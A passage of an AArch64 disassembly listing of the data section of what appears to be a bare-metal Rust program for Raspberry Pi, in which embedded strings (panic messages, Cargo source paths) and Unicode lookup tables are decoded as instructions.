8592c: 00000000 .inst 0x00000000 ; undefined
0000000000085930 <anon.a23b694d1dc451c0e6c510e31520f481.7.llvm.10647643565819495523>:
85930: 4000005c .inst 0x4000005c ; undefined
85934: 00000000 .inst 0x00000000 ; undefined
0000000000085938 <anon.a23b694d1dc451c0e6c510e31520f481.18.llvm.10647643565819495523>:
85938: 40000068 .inst 0x40000068 ; undefined
8593c: 00000000 .inst 0x00000000 ; undefined
85940: 3f00b408 .inst 0x3f00b408 ; undefined
85944: 00000000 .inst 0x00000000 ; undefined
0000000000085948 <anon.a23b694d1dc451c0e6c510e31520f481.11.llvm.10647643565819495523>:
85948: 3f00b214 .inst 0x3f00b214 ; undefined
8594c: 00000000 .inst 0x00000000 ; undefined
0000000000085950 <anon.a23b694d1dc451c0e6c510e31520f481.4.llvm.10647643565819495523>:
85950: 40000050 .inst 0x40000050 ; undefined
85954: 00000000 .inst 0x00000000 ; undefined
85958: 6461202c fmul z12.h, z1.h, z1.h[4]
8595c: 203a7264 .inst 0x203a7264 ; undefined
0000000000085960 <anon.a23b694d1dc451c0e6c510e31520f481.6.llvm.10647643565819495523>:
85960: 40000058 .inst 0x40000058 ; undefined
85964: 00000000 .inst 0x00000000 ; undefined
85968: 7073202c adr x12, 16bd6f <__heap_start+0xa2d6f>
8596c: 203a7273 .inst 0x203a7273 ; undefined
0000000000085970 <anon.a23b694d1dc451c0e6c510e31520f481.8.llvm.10647643565819495523>:
85970: 40000034 .inst 0x40000034 ; undefined
85974: 00000000 .inst 0x00000000 ; undefined
0000000000085978 <anon.a23b694d1dc451c0e6c510e31520f481.12.llvm.10647643565819495523>:
85978: 3f00b210 .inst 0x3f00b210 ; undefined
8597c: 00000000 .inst 0x00000000 ; undefined
85980: 00000019 .inst 0x00000019 ; undefined
85984: 00000012 .inst 0x00000012 ; undefined
85988: 00000014 .inst 0x00000014 ; undefined
8598c: 00000015 .inst 0x00000015 ; undefined
85990: 68772029 .inst 0x68772029 ; undefined
85994: 73206e65 .inst 0x73206e65 ; undefined
85998: 6963696c ldpsw x12, x26, [x11, #-232]
8599c: 6020676e .inst 0x6020676e ; undefined
859a0: 494e4150 .inst 0x494e4150 ; undefined
859a4: 6f732043 umlal2 v3.4s, v2.8h, v3.h[3]
859a8: 6877656d .inst 0x6877656d ; undefined
859ac: 21657265 .inst 0x21657265 ; undefined
859b0: 65726c61 fnmls z1.h, p3/m, z3.h, z18.h
859b4: 20796461 .inst 0x20796461 ; undefined
859b8: 72726f62 .inst 0x72726f62 ; undefined
859bc: 6465776f .inst 0x6465776f ; undefined
859c0: 676e6172 .inst 0x676e6172 ; undefined
859c4: 6e652065 usubl2 v5.4s, v3.8h, v5.8h
859c8: 6e692064 usubl2 v4.4s, v3.8h, v9.8h
859cc: 20786564 .inst 0x20786564 ; undefined
859d0: 65726c61 fnmls z1.h, p3/m, z3.h, z18.h
859d4: 20796461 .inst 0x20796461 ; undefined
859d8: 6174756d .inst 0x6174756d ; undefined
859dc: 20796c62 .inst 0x20796c62 ; undefined
859e0: 72726f62 .inst 0x72726f62 ; undefined
859e4: 6465776f .inst 0x6465776f ; undefined
859e8: 20585541 .inst 0x20585541 ; undefined
859ec: 65746e69 fnmls z9.h, p3/m, z19.h, z20.h
859f0: 70757272 adr x18, 17083f <__heap_start+0xa783f>
859f4: 72207374 ands w20, w27, #0x1fffffff
859f8: 69757165 ldpsw x5, x28, [x11, #-88]
859fc: 61206572 .inst 0x61206572 ; undefined
85a00: 76697463 .inst 0x76697463 ; undefined
85a04: 6f697461 uqshl v1.2d, v3.2d, #41
85a08: 6977206e ldpsw x14, x8, [x3, #-72]
85a0c: 27206874 .inst 0x27206874 ; undefined
85a10: 69746361 ldpsw x1, x24, [x27, #-96]
85a14: 65746176 fnmls z22.h, p0/m, z11.h, z20.h
85a18: 7875615f stumaxlh w21, [x10]
85a1c: 5c3a4327 ldr d7, fa280 <__heap_start+0x31280>
85a20: 72657355 .inst 0x72657355 ; undefined
85a24: 73705c73 .inst 0x73705c73 ; undefined
85a28: 5c697770 ldr d16, 158914 <__heap_start+0x8f914>
85a2c: 7261632e .inst 0x7261632e ; undefined
85a30: 725c6f67 .inst 0x725c6f67 ; undefined
85a34: 73696765 .inst 0x73696765 ; undefined
85a38: 5c797274 ldr d20, 178884 <__heap_start+0xaf884>
85a3c: 5c637273 ldr d19, 14c888 <__heap_start+0x83888>
85a40: 68746967 .inst 0x68746967 ; undefined
85a44: 632e6275 .inst 0x632e6275 ; undefined
85a48: 312d6d6f adds w15, w11, #0xb5b
85a4c: 36636365 tbz w5, #12, 8c6b8 <__stack_end__+0x4078>
85a50: 64393932 .inst 0x64393932 ; undefined
85a54: 63653962 .inst 0x63653962 ; undefined
85a58: 5c333238 ldr d24, ec09c <__heap_start+0x2309c>
85a5c: 70737572 adr x18, 16c90b <__heap_start+0xa390b>
85a60: 2d6f7269 ldp s9, s28, [x19, #-136]
85a64: 65746e69 fnmls z9.h, p3/m, z19.h, z20.h
85a68: 70757272 adr x18, 1708b7 <__heap_start+0xa78b7>
85a6c: 2e302d74 uqsub v20.8b, v11.8b, v16.8b
85a70: 5c332e34 ldr d20, ec034 <__heap_start+0x23034>
85a74: 5c637273 ldr d19, 14c8c0 <__heap_start+0x838c0>
85a78: 2e62696c .inst 0x2e62696c ; undefined
85a7c: 04007372 mls z18.b, p4/m, z27.b, z0.b
85a80: 05000c08 orr z8.h, z8.h, #0x8000
85a84: 15120f0a b 45096ac <__heap_start+0x44406ac>
85a88: 20201b18 .inst 0x20201b18 ; undefined
85a8c: 6c612120 ldnp d0, d8, [x9, #-496]
85a90: 64616572 .inst 0x64616572 ; undefined
85a94: 756d2079 .inst 0x756d2079 ; undefined
85a98: 6c626174 ldnp d20, d24, [x11, #-480]
85a9c: 6f622079 umlal2 v25.4s, v3.8h, v2.h[2]
85aa0: 776f7272 .inst 0x776f7272 ; undefined
85aa4: .inst 0x3a436465 ; undefined
0000000000085aa6 <anon.a628b4cb11bc7df472da5a29226e09a7.4.llvm.4895383513194605257>:
85aa6: 555c3a43 .inst 0x555c3a43 ; undefined
85aaa: 73726573 .inst 0x73726573 ; undefined
85aae: 7073705c adr x28, 16c8b9 <__heap_start+0xa38b9>
85ab2: 2e5c6977 .inst 0x2e5c6977 ; undefined
85ab6: 67726163 .inst 0x67726163 ; undefined
85aba: 65725c6f fnmla z15.h, p7/m, z3.h, z18.h
85abe: 74736967 .inst 0x74736967 ; undefined
85ac2: 735c7972 .inst 0x735c7972 ; undefined
85ac6: 675c6372 .inst 0x675c6372 ; undefined
85aca: 75687469 .inst 0x75687469 ; undefined
85ace: 6f632e62 .inst 0x6f632e62 ; undefined
85ad2: 65312d6d .inst 0x65312d6d ; undefined
85ad6: 32366363 orr w3, w27, #0xfffffc07
85ada: 62643939 .inst 0x62643939 ; undefined
85ade: 38636539 .inst 0x38636539 ; undefined
85ae2: 725c3332 .inst 0x725c3332 ; undefined
85ae6: 69707375 ldpsw x21, x28, [x27, #-128]
85aea: 692d6f72 stgp x18, x27, [x27, #-608]
85aee: 7265746e .inst 0x7265746e ; undefined
85af2: 74707572 .inst 0x74707572 ; undefined
85af6: 342e302d cbz w13, e20fa <__heap_start+0x190fa>
85afa: 735c332e .inst 0x735c332e ; undefined
85afe: 615c6372 .inst 0x615c6372 ; undefined
85b02: 61687875 .inst 0x61687875 ; undefined
85b06: 656c646e fnmls z14.h, p1/m, z3.h, z12.h
85b0a: 73722e72 .inst 0x73722e72 ; undefined
0000000000085b0e <anon.3fff2b7ea07e7690419720c412031537.0.llvm.11380368779637635400>:
85b0e: 555c3a43 .inst 0x555c3a43 ; undefined
85b12: 73726573 .inst 0x73726573 ; undefined
85b16: 7073705c adr x28, 16c921 <__heap_start+0xa3921>
85b1a: 2e5c6977 .inst 0x2e5c6977 ; undefined
85b1e: 67726163 .inst 0x67726163 ; undefined
85b22: 65725c6f fnmla z15.h, p7/m, z3.h, z18.h
85b26: 74736967 .inst 0x74736967 ; undefined
85b2a: 735c7972 .inst 0x735c7972 ; undefined
85b2e: 675c6372 .inst 0x675c6372 ; undefined
85b32: 75687469 .inst 0x75687469 ; undefined
85b36: 6f632e62 .inst 0x6f632e62 ; undefined
85b3a: 65312d6d .inst 0x65312d6d ; undefined
85b3e: 32366363 orr w3, w27, #0xfffffc07
85b42: 62643939 .inst 0x62643939 ; undefined
85b46: 38636539 .inst 0x38636539 ; undefined
85b4a: 725c3332 .inst 0x725c3332 ; undefined
85b4e: 69707375 ldpsw x21, x28, [x27, #-128]
85b52: 632d6f72 .inst 0x632d6f72 ; undefined
85b56: 6e6e6168 rsubhn2 v8.8h, v11.4s, v14.4s
85b5a: 302d6c65 adr x5, e08e7 <__heap_start+0x178e7>
85b5e: 312e312e adds w14, w9, #0xb8c
85b62: 6372735c .inst 0x6372735c ; undefined
85b66: 6d706d5c ldp d28, d27, [x10, #-256]
85b6a: 75715c63 .inst 0x75715c63 ; undefined
85b6e: 2e657565 uabd v5.4h, v11.4h, v5.4h
85b72: .inst 0x61637372 ; undefined
0000000000085b74 <anon.3fff2b7ea07e7690419720c412031537.2.llvm.11380368779637635400>:
85b74: 6c6c6163 ldnp d3, d24, [x11, #-320]
85b78: 60206465 .inst 0x60206465 ; undefined
85b7c: 6974704f ldpsw x15, x28, [x2, #-96]
85b80: 3a3a6e6f .inst 0x3a3a6e6f ; undefined
85b84: 72776e75 .inst 0x72776e75 ; undefined
85b88: 29287061 stp w1, w28, [x3, #-192]
85b8c: 6e6f2060 usubl2 v0.4s, v3.8h, v15.8h
85b90: 60206120 .inst 0x60206120 ; undefined
85b94: 656e6f4e fnmls z14.h, p3/m, z26.h, z14.h
85b98: 61762060 .inst 0x61762060 ; undefined
85b9c: .inst 0x4365756c ; undefined
0000000000085b9f <anon.a832095947016363f6bc3bcfd8d398ed.0.llvm.11995692481347540951>:
85b9f: 555c3a43 .inst 0x555c3a43 ; undefined
85ba3: 73726573 .inst 0x73726573 ; undefined
85ba7: 7073705c adr x28, 16c9b2 <__heap_start+0xa39b2>
85bab: 2e5c6977 .inst 0x2e5c6977 ; undefined
85baf: 74737572 .inst 0x74737572 ; undefined
85bb3: 745c7075 .inst 0x745c7075 ; undefined
85bb7: 636c6f6f .inst 0x636c6f6f ; undefined
85bbb: 6e696168 rsubhn2 v8.8h, v11.4s, v9.4s
85bbf: 696e5c73 ldpsw x19, x23, [x3, #-144]
85bc3: 6c746867 ldnp d7, d26, [x3, #-192]
85bc7: 38782d79 .inst 0x38782d79 ; undefined
85bcb: 34365f36 cbz w22, f27af <__heap_start+0x297af>
85bcf: 2d63702d ldp s13, s28, [x1, #-232]
85bd3: 646e6977 .inst 0x646e6977 ; undefined
85bd7: 2d73776f ldp s15, s29, [x27, #-104]
85bdb: 6376736d .inst 0x6376736d ; undefined
85bdf: 62696c5c .inst 0x62696c5c ; undefined
85be3: 7375725c .inst 0x7375725c ; undefined
85be7: 62696c74 .inst 0x62696c74 ; undefined
85beb: 6372735c .inst 0x6372735c ; undefined
85bef: 7375725c .inst 0x7375725c ; undefined
85bf3: 696c5c74 ldpsw x20, x23, [x3, #-160]
85bf7: 72617262 .inst 0x72617262 ; undefined
85bfb: 6f635c79 .inst 0x6f635c79 ; undefined
85bff: 735c6572 .inst 0x735c6572 ; undefined
85c03: 735c6372 .inst 0x735c6372 ; undefined
85c07: 5c636e79 ldr d25, 14c9d3 <__heap_start+0x839d3>
85c0b: 6d6f7461 ldp d1, d29, [x3, #-272]
85c0f: 722e6369 ands w9, w27, #0xfffc07ff
85c13: fnmls z19.h, p5/m, z3.h, z8.h
0000000000085c14 <anon.a832095947016363f6bc3bcfd8d398ed.1.llvm.11995692481347540951>:
85c14: 72656874 .inst 0x72656874 ; undefined
85c18: 73692065 .inst 0x73692065 ; undefined
85c1c: 206f6e20 .inst 0x206f6e20 ; undefined
85c20: 68637573 .inst 0x68637573 ; undefined
85c24: 69687420 ldpsw x0, x29, [x1, #-192]
85c28: 6120676e .inst 0x6120676e ; undefined
85c2c: 20612073 .inst 0x20612073 ; undefined
85c30: 656c6572 fnmls z18.h, p1/m, z11.h, z12.h
85c34: 20657361 .inst 0x20657361 ; undefined
85c38: 6c696166 ldnp d6, d24, [x11, #-368]
85c3c: 20657275 .inst 0x20657275 ; undefined
85c40: 6564726f fnmls z15.h, p4/m, z19.h, z4.h
85c44: 676e6972 .inst 0x676e6972 ; undefined
0000000000085c48 <anon.a832095947016363f6bc3bcfd8d398ed.5.llvm.11995692481347540951>:
85c48: 555c3a43 .inst 0x555c3a43 ; undefined
85c4c: 73726573 .inst 0x73726573 ; undefined
85c50: 7073705c adr x28, 16ca5b <__heap_start+0xa3a5b>
85c54: 2e5c6977 .inst 0x2e5c6977 ; undefined
85c58: 67726163 .inst 0x67726163 ; undefined
85c5c: 65725c6f fnmla z15.h, p7/m, z3.h, z18.h
85c60: 74736967 .inst 0x74736967 ; undefined
85c64: 735c7972 .inst 0x735c7972 ; undefined
85c68: 675c6372 .inst 0x675c6372 ; undefined
85c6c: 75687469 .inst 0x75687469 ; undefined
85c70: 6f632e62 .inst 0x6f632e62 ; undefined
85c74: 65312d6d .inst 0x65312d6d ; undefined
85c78: 32366363 orr w3, w27, #0xfffffc07
85c7c: 62643939 .inst 0x62643939 ; undefined
85c80: 38636539 .inst 0x38636539 ; undefined
85c84: 725c3332 .inst 0x725c3332 ; undefined
85c88: 69707375 ldpsw x21, x28, [x27, #-128]
85c8c: 612d6f72 .inst 0x612d6f72 ; undefined
85c90: 636f6c6c .inst 0x636f6c6c ; undefined
85c94: 726f7461 .inst 0x726f7461 ; undefined
85c98: 342e302d cbz w13, e229c <__heap_start+0x1929c>
85c9c: 735c352e .inst 0x735c352e ; undefined
85ca0: 6d5c6372 ldp d18, d24, [x27, #448]
85ca4: 726f6d65 .inst 0x726f6d65 ; undefined
85ca8: 73722e79 .inst 0x73722e79 ; undefined
0000000000085cac <anon.a832095947016363f6bc3bcfd8d398ed.9.llvm.11995692481347540951>:
85cac: 65737361 fnmls z1.h, p4/m, z27.h, z19.h
85cb0: 6f697472 uqshl v18.2d, v3.2d, #41
85cb4: 6166206e .inst 0x6166206e ; undefined
85cb8: 64656c69 .inst 0x64656c69 ; undefined
85cbc: 6564203a fmls z26.h, p0/m, z1.h, z4.h
85cc0: 69726373 ldpsw x19, x24, [x27, #-112]
85cc4: 726f7470 .inst 0x726f7470 ; undefined
85cc8: 67616d2e .inst 0x67616d2e ; undefined
85ccc: 3d206369 str b9, [x27, #2072]
85cd0: 4d4d203d .inst 0x4d4d203d ; undefined
85cd4: 47414d5f .inst 0x47414d5f ; undefined
85cd8: ccmn w26, w3, #0x9, mi // mi = first
0000000000085cda <anon.788176469029eed6706ecead79b9694d.0.llvm.8937437104277805671>:
85cda: 555c3a43 .inst 0x555c3a43 ; undefined
85cde: 73726573 .inst 0x73726573 ; undefined
85ce2: 7073705c adr x28, 16caed <__heap_start+0xa3aed>
85ce6: 2e5c6977 .inst 0x2e5c6977 ; undefined
85cea: 74737572 .inst 0x74737572 ; undefined
85cee: 745c7075 .inst 0x745c7075 ; undefined
85cf2: 636c6f6f .inst 0x636c6f6f ; undefined
85cf6: 6e696168 rsubhn2 v8.8h, v11.4s, v9.4s
85cfa: 696e5c73 ldpsw x19, x23, [x3, #-144]
85cfe: 6c746867 ldnp d7, d26, [x3, #-192]
85d02: 38782d79 .inst 0x38782d79 ; undefined
85d06: 34365f36 cbz w22, f28ea <__heap_start+0x298ea>
85d0a: 2d63702d ldp s13, s28, [x1, #-232]
85d0e: 646e6977 .inst 0x646e6977 ; undefined
85d12: 2d73776f ldp s15, s29, [x27, #-104]
85d16: 6376736d .inst 0x6376736d ; undefined
85d1a: 62696c5c .inst 0x62696c5c ; undefined
85d1e: 7375725c .inst 0x7375725c ; undefined
85d22: 62696c74 .inst 0x62696c74 ; undefined
85d26: 6372735c .inst 0x6372735c ; undefined
85d2a: 7375725c .inst 0x7375725c ; undefined
85d2e: 696c5c74 ldpsw x20, x23, [x3, #-160]
85d32: 72617262 .inst 0x72617262 ; undefined
85d36: 6f635c79 .inst 0x6f635c79 ; undefined
85d3a: 735c6572 .inst 0x735c6572 ; undefined
85d3e: 665c6372 .inst 0x665c6372 ; undefined
85d42: 6e5c746d .inst 0x6e5c746d ; undefined
85d46: 722e6d75 ands w21, w11, #0xfffc3fff
85d4a: adr x19, 176357 <__heap_start+0xad357>
0000000000085d4b <anon.788176469029eed6706ecead79b9694d.2.llvm.8937437104277805671>:
85d4b: 62307830 .inst 0x62307830 ; undefined
0000000000085d4f <anon.788176469029eed6706ecead79b9694d.5.llvm.8937437104277805671>:
85d4f: 31303030 adds w16, w1, #0xc0c
85d53: 33303230 .inst 0x33303230 ; undefined
85d57: 35303430 cbnz w16, e63db <__heap_start+0x1d3db>
85d5b: 37303630 tbnz w16, #6, 8641f <anon.da70acf48479ae6767f568a05ea2e9a7.22.llvm.2339018429671269780+0x105>
85d5f: 39303830 strb w16, [x1, #3086]
85d63: 31313031 adds w17, w1, #0xc4c
85d67: 33313231 .inst 0x33313231 ; undefined
85d6b: 35313431 cbnz w17, e83ef <__heap_start+0x1f3ef>
85d6f: 37313631 tbnz w17, #6, 88433 <_ZN3log6LOGGER17h560bca14e6f52766E+0x31b>
85d73: 39313831 strb w17, [x1, #3150]
85d77: 31323032 adds w18, w1, #0xc8c
85d7b: 33323232 .inst 0x33323232 ; undefined
85d7f: 35323432 cbnz w18, ea403 <__heap_start+0x21403>
85d83: 37323632 tbnz w18, #6, 8a447 <__stack_end__+0x1e07>
85d87: 39323832 strb w18, [x1, #3214]
85d8b: 31333033 adds w19, w1, #0xccc
85d8f: 33333233 .inst 0x33333233 ; undefined
85d93: 35333433 cbnz w19, ec417 <__heap_start+0x23417>
85d97: 37333633 tbnz w19, #6, 8c45b <__stack_end__+0x3e1b>
85d9b: 39333833 strb w19, [x1, #3278]
85d9f: 31343034 adds w20, w1, #0xd0c
85da3: 33343234 .inst 0x33343234 ; undefined
85da7: 35343434 cbnz w20, ee42b <__heap_start+0x2542b>
85dab: 37343634 tbnz w20, #6, 7e46f <EXC_LOWEREL32_SPX_SErr+0x7e43b>
85daf: 39343834 strb w20, [x1, #3342]
85db3: 31353035 adds w21, w1, #0xd4c
85db7: 33353235 .inst 0x33353235 ; undefined
85dbb: 35353435 cbnz w21, f043f <__heap_start+0x2743f>
85dbf: 37353635 tbnz w21, #6, 80483 <_ZN17ruspiro_interrupt8activate17h2db9568096015147E+0xc3>
85dc3: 39353835 strb w21, [x1, #3406]
85dc7: 31363036 adds w22, w1, #0xd8c
85dcb: 33363236 .inst 0x33363236 ; undefined
85dcf: 35363436 cbnz w22, f2453 <__heap_start+0x29453>
85dd3: 37363636 tbnz w22, #6, 82497 <_ZN3log17__private_api_log17haa499543e16634a1E+0x7>
85dd7: 39363836 strb w22, [x1, #3470]
85ddb: 31373037 adds w23, w1, #0xdcc
85ddf: 33373237 .inst 0x33373237 ; undefined
85de3: 35373437 cbnz w23, f4467 <__heap_start+0x2b467>
85de7: 37373637 tbnz w23, #6, 844ab <__exception_trampoline+0x4ab>
85deb: 39373837 strb w23, [x1, #3534]
85def: 31383038 adds w24, w1, #0xe0c
85df3: 33383238 .inst 0x33383238 ; undefined
85df7: 35383438 cbnz w24, f647b <__heap_start+0x2d47b>
85dfb: 37383638 tbnz w24, #7, 864bf <anon.da70acf48479ae6767f568a05ea2e9a7.23.llvm.2339018429671269780+0x83>
85dff: 39383838 strb w24, [x1, #3598]
85e03: 31393039 adds w25, w1, #0xe4c
85e07: 33393239 .inst 0x33393239 ; undefined
85e0b: 35393439 cbnz w25, f848f <__heap_start+0x2f48f>
85e0f: 37393639 tbnz w25, #7, 884d3 <_ZN3log6LOGGER17h560bca14e6f52766E+0x3bb>
85e13: 39393839 strb w25, [x1, #3662]
85e17: 676e6172 .inst 0x676e6172 ; undefined
85e1b: 74732065 .inst 0x74732065 ; undefined
85e1f: 20747261 .inst 0x20747261 ; undefined
85e23: 65646e69 fnmls z9.h, p3/m, z19.h, z4.h
85e27: 6f202078 .inst 0x6f202078 ; undefined
85e2b: 6f207475 uqshl v21.4s, v3.4s, #0
85e2f: 61722066 .inst 0x61722066 ; undefined
85e33: 2065676e .inst 0x2065676e ; undefined
85e37: 20726f66 .inst 0x20726f66 ; undefined
85e3b: 63696c73 .inst 0x63696c73 ; undefined
85e3f: 666f2065 .inst 0x666f2065 ; undefined
85e43: 6e656c20 umin v0.8h, v1.8h, v5.8h
85e47: 20687467 .inst 0x20687467 ; undefined
85e4b: 63696c73 .inst 0x63696c73 ; undefined
85e4f: 6e692065 usubl2 v5.4s, v3.8h, v9.8h
85e53: 20786564 .inst 0x20786564 ; undefined
85e57: 72617473 .inst 0x72617473 ; undefined
85e5b: 61207374 .inst 0x61207374 ; undefined
85e5f: 62202074 .inst 0x62202074 ; undefined
85e63: 65207475 .inst 0x65207475 ; undefined
85e67: 2073646e .inst 0x2073646e ; undefined
85e6b: .inst 0x43207461 ; undefined
0000000000085e6e <anon.b2eb45f66a0b759930b184b68fba7a80.55.llvm.111400220230659385>:
85e6e: 555c3a43 .inst 0x555c3a43 ; undefined
85e72: 73726573 .inst 0x73726573 ; undefined
85e76: 7073705c adr x28, 16cc81 <__heap_start+0xa3c81>
85e7a: 2e5c6977 .inst 0x2e5c6977 ; undefined
85e7e: 74737572 .inst 0x74737572 ; undefined
85e82: 745c7075 .inst 0x745c7075 ; undefined
85e86: 636c6f6f .inst 0x636c6f6f ; undefined
85e8a: 6e696168 rsubhn2 v8.8h, v11.4s, v9.4s
85e8e: 696e5c73 ldpsw x19, x23, [x3, #-144]
85e92: 6c746867 ldnp d7, d26, [x3, #-192]
85e96: 38782d79 .inst 0x38782d79 ; undefined
85e9a: 34365f36 cbz w22, f2a7e <__heap_start+0x29a7e>
85e9e: 2d63702d ldp s13, s28, [x1, #-232]
85ea2: 646e6977 .inst 0x646e6977 ; undefined
85ea6: 2d73776f ldp s15, s29, [x27, #-104]
85eaa: 6376736d .inst 0x6376736d ; undefined
85eae: 62696c5c .inst 0x62696c5c ; undefined
85eb2: 7375725c .inst 0x7375725c ; undefined
85eb6: 62696c74 .inst 0x62696c74 ; undefined
85eba: 6372735c .inst 0x6372735c ; undefined
85ebe: 7375725c .inst 0x7375725c ; undefined
85ec2: 696c5c74 ldpsw x20, x23, [x3, #-160]
85ec6: 72617262 .inst 0x72617262 ; undefined
85eca: 6f635c79 .inst 0x6f635c79 ; undefined
85ece: 735c6572 .inst 0x735c6572 ; undefined
85ed2: 755c6372 .inst 0x755c6372 ; undefined
85ed6: 6f63696e umlsl2 v14.4s, v11.8h, v3.h[6]
85eda: 755c6564 .inst 0x755c6564 ; undefined
85ede: 6f63696e umlsl2 v14.4s, v11.8h, v3.h[6]
85ee2: 645f6564 fcmla z4.h, p1/m, z11.h, z31.h, #270
85ee6: 2e617461 uabd v1.4h, v3.4h, v1.4h
85eea: .inst 0x03007372 ; undefined
0000000000085eec <_ZN4core7unicode12unicode_data15grapheme_extend17SHORT_OFFSET_RUNS17h3f27433f34b5c313E.llvm.111400220230659385>:
85eec: 00000300 .inst 0x00000300 ; undefined
85ef0: 00200483 .inst 0x00200483 ; NYI
85ef4: 00600591 .inst 0x00600591 ; undefined
85ef8: 00a0135d .inst 0x00a0135d ; undefined
85efc: 1ea01712 .inst 0x1ea01712 ; undefined
85f00: 1ee0200c .inst 0x1ee0200c ; undefined
85f04: 2b202cef adds w15, w7, w0, uxth #3
85f08: 2ba0302a .inst 0x2ba0302a ; undefined
85f0c: 2c60a66f ldnp s15, s9, [x19, #-252]
85f10: 2ce0a802 ldp s2, s10, [x0], #-252
85f14: 2de0fb1e ldp s30, s30, [x24, #-252]!
85f18: 35a0fe00 cbnz w0, fffffffffffc7ed8 <__heap_end+0xffffffffc1fc7ed8>
85f1c: 35e0ff9e cbnz w30, 47f0c <EXC_LOWEREL32_SPX_SErr+0x47ed8>
85f20: 366101fd tbz w29, #12, 87f5c <anon.b2eb45f66a0b759930b184b68fba7a80.61.llvm.111400220230659385+0xd4>
85f24: 36a10a01 tbz w1, #20, 88064 <anon.b2eb45f66a0b759930b184b68fba7a80.61.llvm.111400220230659385+0x1dc>
85f28: 37610d24 tbnz w4, #12, 880cc <anon.b2eb45f66a0b759930b184b68fba7a80.61.llvm.111400220230659385+0x244>
85f2c: 38e10eab .inst 0x38e10eab ; undefined
85f30: 3921182f strb w15, [x1, #2118]
85f34: 46611c30 .inst 0x46611c30 ; undefined
85f38: 4aa11ef3 eon w19, w23, w1, asr #7
85f3c: 4e616af0 fcvtn2 v16.4s, v23.2d
85f40: 4ea16f4f smin v15.4s, v26.4s, v1.4s
85f44: 4f21bc9d .inst 0x4f21bc9d ; undefined
85f48: 4fe1d165 .inst 0x4fe1d165 ; undefined
85f4c: 5021da00 adr x0, c9a8e <__heap_start+0xa8e>
85f50: 51e1e000 .inst 0x51e1e000 ; undefined
85f54: 5361e130 .inst 0x5361e130 ; undefined
85f58: 54a1e2ec b.gt fffffffffffc9bb4 <__heap_end+0xffffffffc1fc9bb4>
85f5c: 54e1e8d0 .inst 0x54e1e8d0 ; undefined
85f60: 552e0020 .inst 0x552e0020 ; undefined
85f64: 55bf01f0 .inst 0x55bf01f0 ; undefined
0000000000085f68 <_ZN4core7unicode12unicode_data15grapheme_extend7OFFSETS17h43cbc87acfaf4d34E.llvm.111400220230659385>:
85f68: 07007000 .inst 0x07007000 ; undefined
85f6c: 01012d00 .inst 0x01012d00 ; undefined
85f70: 02010201 .inst 0x02010201 ; undefined
85f74: 0b480101 add w1, w8, w8, lsr #0
85f78: 01101530 .inst 0x01101530 ; undefined
85f7c: 06020765 .inst 0x06020765 ; undefined
85f80: 04010202 sub z2.b, p0/m, z2.b, z16.b
85f84: 1b1e0123 madd w3, w9, w30, w0
85f88: 093a0b5b .inst 0x093a0b5b ; undefined
85f8c: 04180109 orr z9.b, p0/m, z9.b, z8.b
85f90: 03010901 .inst 0x03010901 ; undefined
85f94: 032b0501 .inst 0x032b0501 ; undefined
85f98: 20010f77 .inst 0x20010f77 ; undefined
85f9c: 01010137 .inst 0x01010137 ; undefined
85fa0: 01040804 .inst 0x01040804 ; undefined
85fa4: 020a0703 .inst 0x020a0703 ; undefined
85fa8: 013a011d .inst 0x013a011d ; undefined
85fac: 04020101 .inst 0x04020101 ; undefined
85fb0: 01090108 .inst 0x01090108 ; undefined
85fb4: 011a020a .inst 0x011a020a ; undefined
85fb8: 01390202 .inst 0x01390202 ; undefined
85fbc: 02040204 .inst 0x02040204 ; undefined
85fc0: 01030302 .inst 0x01030302 ; undefined
85fc4: 0103021e .inst 0x0103021e ; undefined
85fc8: 0139020b .inst 0x0139020b ; undefined
85fcc: 02010504 .inst 0x02010504 ; undefined
85fd0: 02140104 .inst 0x02140104 ; undefined
85fd4: 01010616 .inst 0x01010616 ; undefined
85fd8: 0201013a .inst 0x0201013a ; undefined
85fdc: 01080401 .inst 0x01080401 ; undefined
85fe0: 020a0307 .inst 0x020a0307 ; undefined
85fe4: 013b011e .inst 0x013b011e ; undefined
85fe8: 010c0101 .inst 0x010c0101 ; undefined
85fec: 01280109 .inst 0x01280109 ; undefined
85ff0: 03390103 .inst 0x03390103 ; undefined
85ff4: 04010305 sub z5.b, p0/m, z5.b, z24.b
85ff8: 020b0207 .inst 0x020b0207 ; undefined
85ffc: 013a011d .inst 0x013a011d ; undefined
86000: 01020102 .inst 0x01020102 ; undefined
86004: 02050103 .inst 0x02050103 ; undefined
86008: 020b0207 .inst 0x020b0207 ; undefined
8600c: 0239021c .inst 0x0239021c ; undefined
86010: 04020101 .inst 0x04020101 ; undefined
86014: 01090108 .inst 0x01090108 ; undefined
86018: 011d020a .inst 0x011d020a ; undefined
8601c: 01040148 .inst 0x01040148 ; undefined
86020: 01010302 .inst 0x01010302 ; undefined
86024: 01510108 .inst 0x01510108 ; undefined
86028: 080c0702 stxrb w12, w2, [x24]
8602c: 09020162 .inst 0x09020162 ; undefined
86030: 024a060b .inst 0x024a060b ; undefined
86034: 0101011b .inst 0x0101011b ; undefined
86038: 0e370101 saddl v1.8h, v8.8b, v23.8b
8603c: 02010501 .inst 0x02010501 ; undefined
86040: 24010b05 cmphs p5.b, p2/z, z24.b, z1.b
86044: 04660109 add z9.h, z8.h, z6.h
86048: 02010601 .inst 0x02010601 ; undefined
8604c: 02190202 .inst 0x02190202 ; undefined
86050: 04100304 mul z4.b, p0/m, z4.b, z24.b
86054: 0202010d .inst 0x0202010d ; undefined
86058: 010f0106 .inst 0x010f0106 ; undefined
8605c: 03000300 .inst 0x03000300 ; undefined
86060: 021d031d .inst 0x021d031d ; undefined
86064: 0240021e .inst 0x0240021e ; undefined
86068: 01080701 .inst 0x01080701 ; undefined
8606c: 01090b02 .inst 0x01090b02 ; undefined
86070: 0277032d .inst 0x0277032d ; undefined
86074: 03760122 .inst 0x03760122 ; undefined
86078: 01090204 .inst 0x01090204 ; undefined
8607c: 02db0306 .inst 0x02db0306 ; undefined
86080: 013a0102 .inst 0x013a0102 ; undefined
86084: 01010701 .inst 0x01010701 ; undefined
86088: 08020101 stxrb w2, w1, [x8]
8608c: 01020a06 .inst 0x01020a06 ; undefined
86090: 043f1130 sqadd z16.b, z9.b, z31.b
86094: 01010730 .inst 0x01010730 ; undefined
86098: 09280105 .inst 0x09280105 ; undefined
8609c: 0420020c add z12.b, z16.b, z0.b
860a0: 03010202 .inst 0x03010202 ; undefined
860a4: 02010138 .inst 0x02010138 ; undefined
860a8: 03010103 .inst 0x03010103 ; undefined
860ac: 0202083a .inst 0x0202083a ; undefined
860b0: 0d010398 .inst 0x0d010398 ; undefined
